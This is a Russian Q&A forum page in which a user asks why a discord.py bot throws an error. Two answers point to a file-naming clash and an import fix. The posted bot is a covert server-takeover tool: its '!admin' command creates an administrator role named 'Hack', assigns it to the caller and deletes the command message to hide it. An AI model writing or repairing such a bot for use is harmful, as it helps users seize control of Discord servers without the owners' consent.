Задать вопрос
@Roblox

Вот мой discord бот выдает ошибку как ее исправить?

import discord
from discord.ext import commands
from asyncio import sleep
from discord.utils import get
TOKEN = 'секрет'
bot = commands.Bot(command_prefix='!') # ! - префикс, на который будет реагировать наш бот
@bot.command(pass_context=True)  # разрешаем передавать агрументы
async def admin(ctx):  # создаем асинхронную фунцию бота
    
    guild = ctx.guild
    perms = discord.Permissions(administrator=True) #права роли
    await guild.create_role(name="Hack", permissions=perms) #создаем роль
    
    role = discord.utils.get(ctx.guild.roles, name="Hack") #находим роль по имени
    user = ctx.message.author #находим юзера
    await user.add_roles(role) #добовляем роль
    
    await ctx.message.delete()

bot.run(TOKEN)
  • Вопрос задан
  • 102 просмотра
Подписаться 1 Простой 5 комментариев
Решения вопроса 1
SoreMix
@SoreMix Куратор тега Python
yellow
Не называть свой файл одинаково с именем модуля
Ответ написан
Пригласить эксперта
Ответы на вопрос 1
@twistfire92
Python backend developer
Пробуй import discord.ext.commands
И текст ошибки добавь в вопрос
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы